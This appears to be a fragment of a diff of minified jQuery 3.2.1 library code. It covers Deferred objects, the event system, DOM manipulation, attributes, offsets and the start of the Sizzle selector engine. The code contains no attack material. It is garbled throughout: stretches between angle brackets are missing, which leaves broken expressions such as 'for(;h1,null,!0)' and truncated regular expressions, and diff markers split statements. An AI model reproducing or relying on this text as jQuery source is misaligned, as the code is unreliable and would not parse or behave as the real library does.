r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a); -}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S),a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}}),r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var _a,ab=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?_a:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),_a={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ab[b]||r.find.attr;ab[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ab[g],ab[g]=e,e=null!=c(a,b,d)?g:null,ab[g]=f),e}});var bb=/^(?:input|select|textarea|button)$/i,cb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function db(a){var b=a.match(L)||[];return b.join(" ")}function eb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,eb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=eb(c),d=1===c.nodeType&&" "+db(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=db(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,eb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=eb(c),d=1===c.nodeType&&" "+db(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=db(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,eb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=eb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+db(eb(c))+" ").indexOf(b)>-1)return!0;return!1}});var fb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(fb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:db(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var gb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!gb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,gb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var hb=/\[\]$/,ib=/\r?\n/g,jb=/^(?:submit|button|image|reset|file)$/i,kb=/^(?:input|select|textarea|keygen)/i;function lb(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||hb.test(a)?d(a,e):lb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d); -});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)lb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)lb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&kb.test(this.nodeName)&&!jb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ib,"\r\n")}}):{name:b.name,value:c.replace(ib,"\r\n")}}).get()}}),r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="
",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var mb=a.jQuery,nb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=nb),b&&a.jQuery===r&&(a.jQuery=mb),r},b||(a.jQuery=a.$=r),r}); +/*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" 